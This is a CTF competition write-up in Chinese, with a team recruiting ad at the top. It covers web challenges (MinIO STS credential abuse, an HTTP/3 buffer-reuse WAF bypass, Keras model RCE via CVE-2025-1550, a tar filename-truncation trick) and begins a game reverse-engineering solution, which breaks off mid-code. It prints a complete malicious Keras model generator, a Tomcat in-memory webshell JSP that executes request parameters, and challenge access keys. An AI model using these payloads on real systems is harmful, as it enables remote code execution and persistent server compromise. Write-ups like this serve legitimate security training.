招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
Web
d3invitation
文件上传可以找到ak sk token
STS流程:
aws s3
构造读取所有内容的sts
aws --profile minio --endpoint-url http://35.241.98.126:30744 s3 cp "s3://d3invitation/flag" /tmp
得找flag名称,估计得爆破了。。。
aws连接方式
vim ~/.aws/credentials
[minio]
aws_access_key_id = GRO1TWRV8FSZV5OCCVFE
aws_secret_access_key = ATk+SFgUfZUT6cUzYdAA4qciMSJK9neo0s0hA02Q
aws_session_token = eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJHUk8xVFdSVjhGU1pWNU9DQ1ZGRSIsImV4cCI6MTc0ODY4NTk2NSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZWMTkifQ.TlzvIuG_zgOGWUgZdhRS92Gloisjt_hezNMd6vz8IJz-4NwcxkwdkrtA6CsX2wNVwVllVr_8oHr8j83COk5Nmg
考虑到object_name可控,怀疑存在注入,解jwt看了下还真对的上。
盲打flag bucket的flag。
tidy quic
buf缓存复用,用完缓存后没有清除而是放进了公共池,然后是根据请求长度来获取缓存
可以通过设置 Content-Length 来填充上次请求的buf缓存内容,然后检测waf是检测的请求内容,获取flag是看的buf,从而进行绕过
curl -k --http3 -X POST https://35.241.98.126:31390 --data "I want flag"
curl -k --http3 -X POST https://35.241.98.126:31390 --data "I want" -H "Content-Length: 11"
d3model
CVE-2025-1550
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os
model_name = "model.keras"
x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)
model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)
with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())
config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["/bin/sh","-c", "env > static/1.txt"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}
with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))
os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)
with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))
print("[+] Malicious model ready")
jtar
注意BackUp#tarDirectory
out.putNextEntry(new TarEntry(entry.toFile(), relativeName));
new TarEntry的流程主要在tarHeader#createHeader函数中,这里没什么问题。
putNextEntry注意TarHeader.getNameBytes
(byte)name.charAt(i); 进行强转byte,那么构造低位是0x70的字符,即可凑出P。
# 找出所有 Unicode 码点中低 8 位为 0x70 的字符
target_byte_value = 0x70 # 对应 ASCII 字符 'p'
matching_chars = []
for code_point in range(0x10000):
if (code_point & 0xFF) == target_byte_value:
try:
char = chr(code_point)
# 打印字符及其 Unicode 编码(十六进制)
matching_chars.append((char, hex(code_point)))
except Exception:
continue
for char, code_hex in matching_chars:
print(f"字符: {char} | Unicode: {code_hex}")
还是有很多的,随便选一个,通过tar-->untar构造出jsp:
注入内存马:
tomcat servlet
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
class GreetServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {returnnull;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {returnnull;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
if (lrequest.getParameter("chan") != null){
Process process = Runtime.getRuntime().exec(lrequest.getParameter("chan"));
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + 'n');
}
lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
lresponse.getOutputStream().flush();
lresponse.getOutputStream().close();
return;
}
else{
lresponse.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
GreetServlet greetServlet = new GreetServlet();
org.apache.catalina.Wrapper greetWrapper = standardContext.createWrapper();
greetWrapper.setName("p");
greetWrapper.setLoadOnStartup(1);
greetWrapper.setServlet(greetServlet);
greetWrapper.setServletClass(greetServlet.getClass().getName());
standardContext.addChild(greetWrapper);
standardContext.addServletMappingDecoded("/p", "p", false);
out.println(">@<");
%>
访问得到flag:
Reverse
d3rpg-revenge
是一个游戏,并且随着在游戏中的对话,会改变程序的内存(不可恢复,除非删了重来)。然后玩了下,发现走到二楼和NPC直接对话,会问你是reverse手,misc手还是musc手,选reverse手就会直接让你输入flag,然后回车,显示checking...,再回车,就会有回显,由于附件中有exe和不少dll,并且还有一个自定义的文件,.d3ssad文件。分析结果是:脱壳后的secret_dll.dll中的check_flag函数中的字符串就是密文
然后加密逻辑在d3rpg.dll文件中进行载入,载入的内容应该是d3rpg.d3ssad文件进行解包的结果。那么我们可以推测当程序运行的时候,check flag的时候,肯定会将自定义的文件进行解密,加载到内存中,然后调用其中逻辑,进行check。既然如此,我们就可以用ce,重开游戏,直接走到二楼,和NPC对话,直接输入flag,然后回车,让程序就断在checking...这里,然后用ce去内存中找,找到加密逻辑
复制下来,丢到cyberchef里转一下十六进制
module Scene_RPG
class Secret_Class
DELTA = 0x1919810 | (($de1ta + 1) * 0xf0000000)
definitialize(new_key)
@key = str_to_longs(new_key)
if @key.length < 4
@key.length.upto(4) { |i| @key[i] = 0 }
end
end
defself.str_to_longs(s, include_count = false)
s = s.dup
length = s.length
((4 - s.length % 4) & 3).times { s << "
评论